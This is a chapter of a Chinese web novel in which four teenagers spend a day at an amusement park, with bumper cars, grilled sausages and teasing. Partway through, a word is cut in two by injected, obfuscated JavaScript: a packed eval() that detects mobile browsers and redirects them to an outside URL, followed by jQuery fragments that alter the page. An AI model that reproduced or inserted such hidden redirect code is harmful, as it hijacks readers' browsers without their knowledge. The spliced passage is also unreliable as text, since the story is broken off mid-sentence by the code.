“哎,你没事儿吧?”沈余城忍着笑,一下下顺着身旁人僵硬的脊背。
旅逸顶着个鸡窝头大口大口喘着粗气,黑发一撮撮地从某些离奇角度冒出来,压着只会塌下去一会儿,转头又重新翘起。
瞧他一副惊魂未定的模样,沈余城实在是想拿出手机拍个照,但碍于某份脆弱的兄弟情,还是没下此狠手。
时易笙不像他这么顾忌,她辣条丢在一旁,举着手机怼着旅逸库库拍,还十分体贴地替他寻找帅的角度。
拍之前,她努力憋笑,颇有礼貌地问他,“张,德丑,我能记录一下你的高光时刻吗?”
想到张德丑还真成“长得丑”了,她嘴角就压不住似的扬起来。
旅逸刚平复下心跳,缓过神就听这几人笑话自己,平直的嘴角顿时抿得更直,语气也跟着硬邦邦的:“我现在很丑?”
“噗。”宋听忍不住笑了声,被旅逸不冷不热地扫了一眼,她才转过视线,一脸无辜,“哎,今天天气真不错,我们出来得正好。”
时易笙难得见他如此落魄,本想趁机嘲笑一番,但考虑到这人的游玩体验,她还是动了动手指,调出手机里的照片,安慰道:“你看,这张是不是很帅?”
沈余城撑着他肩膀探过身,看完照片又是一阵赤裸裸的嘲笑,“哈哈哈兄弟,也是被我见证你的黑历史了哈哈哈哈。”
旅逸不信邪地接过手机,双指放大看了眼。
照片上的男孩两手插兜,嘴角紧紧绷着,看向镜头的眼里透出几分哀怨,但阳光洒上他凌乱的头发,琥珀色衬得整个人很暖。
旅逸看着侧面那道光,话语一顿:“好像,也还行?”
他瞥了沈余城一眼,“比你拍得好多了。”
沈余城第一个不服,“还有脸说?你什么时候允许我拍过照啊,哪次不是被你光明正大删了?!”
他还会删照片?
时易笙默默接过手机,不动声色地把照片转移到私密相册,才不客气道:“肯定是你技术不过关,这张照片不就被他留下了?”
沈余城恶狠狠瞪向旅逸,可自家兄弟似是默认了时易笙的话,两眼直视前方:“赶紧的,换个轻松点的项目,她们俩还没玩过呢。”
经此提醒,沈余城才愤愤收回对兄弟的指控,从他兜里一把掏出游玩图。
“我和小易子已经讨论好了,先玩碰碰车。”宋听说。
时易笙配合点头,不过有些人觉得碰碰车没意思,她想问问这两人的意愿。
抬头一看,却见旅逸一脸戏谑地盯着自己。
“怎么?”
“真想兜风啊,用碰碰车?”
……这倒是凑巧,两个人在过山车上鬼吼鬼叫那会儿,时易笙看着他们的残影,轻声啧啧:“他们俩估计不行了,我们换个轻松点的项目吧。”
顿了两秒,她又补了一句:“要贴着地的那种。”
两个人在空中绕了一圈又一圈,宋听看热闹不嫌事大,腹诽:“适合我们的项目,碰碰车?”
想到这,时易笙挑了挑眉:“是啊,我操作很好,能撞得你兜圈儿,保你拉风。”
旅逸开始只当这是玩笑,直到他们排完长队,走进场内。
其他人速度实在太快,他们又排在队伍末端,等四人进场,便只剩下黄色和红色的小车供他们挑选。
旅逸正要往黄色的小车走,时易笙忽然跑过来,挡在他面前,“先到先得,要不你坐隔壁那辆?”
旅逸瞄了眼隔壁的小红车,“这颜色,有点扎眼。”
“拜托啦,占卜说我今日不宜红色。”
听着就像是扯淡,但时易笙微蹙着眉,双手合十地拜托自己,旅逸本要说出口的婉拒就这么卡在喉里。
“快选一辆,要开始了!”工作人员在门口催促。
不远处的宋听听着二人的对话,目瞪口呆:本命年还不宜?小易子不是挺迷信的吗,怎么还把幸运色让给别人?
那位“别人”二话不说,长腿一迈就坐进小红车里,而迷信的小易子托着下巴看他,笑得一脸傻样。
呵,就知道她是个恋爱脑。
宋听刚在心里槽完,就见该“恋爱脑”坐正身体,嘴角轻轻一扯,方向盘快速打了圈,车尾调转,朝着旅逸的小红车就直直撞去!
砰!
旅逸还没研究明白这车怎么开,右侧就被狠狠一撞,车生生往左滑出去一米。
一转头,对上时易笙挑衅的笑。
“有点技术啊。”
时易笙看着旅逸暗暗咬牙又隐忍不发的模样,心中莫名爽快,她抬抬下巴,“当然,说带你兜圈就兜圈。”
说完,她一脚踩上油门,再次撞去,对方被她激得也来了脾气,胡乱操着方向盘就迎面而来。
两人登时撞得火花四射,向来贪玩的沈余城却在另一边追着宋听慢悠悠绕圈,相比之下,这两都算得上举止优雅。
沈余城观望了眼被撞得身形不稳的旅逸,毫不留情嘲笑:“兄弟,你还差点火候,要不要我帮你啊?”
旅逸被撞得又是一震,本想反击,可时易笙实在太猛,根本不给他喘息的机会,眼看方向盘都要握不稳,他红着脖子喊了句:“还不,过来!”
“什么?”沈余城探过耳朵,车轮直直开往远处,“不需要?牛逼,我就知道你行!”
旅逸:“……”
被他紧紧追着的宋听闻言一笑,怎料速度刚慢下来,自己就被后面追了尾。
宋听:“沈余城!你给我等着!”说罢她就掉头撞过去。
这么一走神,旅逸彻底失去反击能力,油门刹车随便乱踩,手里只顾着握紧方向盘。
没多时,他感觉天地间都随他开始自转。
场外候着的大伙儿正焦急地拿手扇风,定睛一看。
吼,这批玩家这么热闹?
一个十几岁的男孩子坐在扎眼的小红车里,被穿着一身黄的可爱小姑娘撞得满场打转。
另外两个看着跟他们差不多大的同学,则在外圈自顾自绕着开。不知道的,还以为这两在给他们举行欢送仪式,带点鬼火少年味儿的那种。
“妈妈,你快看,这个红色小陀螺哥哥要被撞傻啦!”
小孩子音量不加控制,游客们顿时哄笑,他妈妈不好意思地抱起他,轻声警告:“别胡说,哥哥聪明着呢。”
小朋友眨巴眨巴眼,看红色小陀螺哥哥脸涨得通红,迷茫地挠挠头。
原来,这就是聪明吗?他学到了!
碰碰车时间没有多长。出了场,时易笙被头顶暖烘烘的日光一照,不禁惬意地伸了个懒腰。
旅逸顶着个浆糊脑袋走近,“玩个碰碰车而已,累着你了?”
时易笙偏过头,看旅逸又变成了鸡窝头,笑容再也止不住,“哈哈哈哈带你兜风呢,一圈又一圈,很费体力的。”
旅逸狂躁地理了理头发,想到走出来那会儿有个小朋友好奇地盯着自己,他又是麻木又是好笑:“太过拉风,在下要不起。”
时易笙勾着嘴角一阵乐呵,心想,怎么就没人录个张德丑自转视频?多有意思。
宋听追着沈余城跑出来,嘴里喊着什么找死。
沈余城转身冲她做了个鬼脸,意料之中,获得了某人的加倍殴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882642|191511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打。
旅逸回头看了两人一眼,想到他方才和时易笙在外人眼里也是这般模样,心里像被鱼刺卡住了似的,起了点异样。
“你们初中也这样?”旅逸斟酌着说,“就……打打闹闹的。”
时易笙扒拉开缠打在一起的两人,心累笑笑:“是啊,不过我跟他们比,沉稳多了。”
旅逸心说,方才撞他撞得还一脸兴奋,沉稳?真是没看出来。
这番胡闹耗费了大多精力。
不约而同地,几人接下来去的都是些不需要多动的项目。即使如此,他们喉咙依旧没能歇着,扯着嗓子吼半天,再开口时都有些沙哑。
“哈哈哈张德丑,你好像变成了公鸭嗓。”时易笙按着自己的喉咙笑。
旅逸重重咳了咳,撇撇嘴道:“你也好不到哪去。”
啪。
沈余城一手拍上旅逸肩膀,撑着他借力,声音发虚:“我,我们找个桌子休息一下吧。”
宋听摸摸肚子,“我的肚子告诉我,到饭点了。”
闻言,时易笙低头扫了眼时间,“哇,都十二点了,时间过得真快。”
旅逸耸了耸肩,无比赞同:“快乐的时光总是短暂的。”
游乐园里的餐馆价格贵得离谱,一碗鸡蛋面都能卖个三十出头。
四人在大大小小的餐馆里转悠半天,都没找到实惠又合口味的美食。
宋听肚子叫了一路,时易笙说:“要不随便点碗面吧。”
“好,鸡蛋面?”旅逸扫了眼价目表,发觉鸡蛋面在里面都能算得上朴实无华,价格良心了。
沈余城随便挑了个空位坐下,趴上桌子,“都行都行。”
点完餐,旅逸突然说自己有东西落在了碰碰车那,想回去拿。
这人早上好像是空手来的吧?
时易笙琢磨着,但见他如此笃定,她也没怀疑什么,由着他去。
不到十分钟,这人拎着个袋子回来,里头装着四根纯肉烤肠。
时易笙扑哧一声,手肘撑上桌子:“我怎么不知道,你还对烤肠感兴趣?”
她内心发笑:哪落了什么东西,分明是想偷偷加餐,一个零食都不常吃的人,这会儿倒是爱吃烤肠了?
旅逸在她对面坐下,将第一根烤肠递给她,随口说:“你不知道的还多着呢。”
时易笙顺从接过,迫不及待咬了一口,立时被烫得舌尖打转:“好烫好烫。”
对面那人轻笑一声,他将另外两根分出去,自己才跟着吃了一口,“刚烤熟呢,你慢慢吃,小心烫到舌头。”
刚出锅的自是最香,更遑论他们还饿着肚子,几人围坐在一张缺了角的桌子上,吃得是津津有味。
后来时易笙回忆起他们相遇的第七天,总会想:那碗三十几块的鸡蛋面,除了量大管饱,味道什么的竟是毫无印象,甚至……它都比不上这根普普通通的烤肠。
滚烫温度深深刻进记忆,挥之不去。
好似,她细细品尝了很久,方能记忆犹新。
到底是少年人,吃完午饭,休息一会儿他们便再次恢复了斗志,不怕死地说要挑战高空项目。
旅逸抬头看向几十米高空,转得只剩下残影的双人飞椅,二话不说掉头就走。
还没走出几步他就被人拉住了衣袖,白色衬衫被轻轻一扯,折痕微微凹陷下去。
“好不容易出来玩一次,想试什么就去试。”
说完这句,时易笙慢慢拧起了眉,似在思考什么严峻的事。
半晌,她抬眸望向他,拍拍胸脯:“张德丑,这次我不犯怂了。不就几十米嘛,我陪你飞!”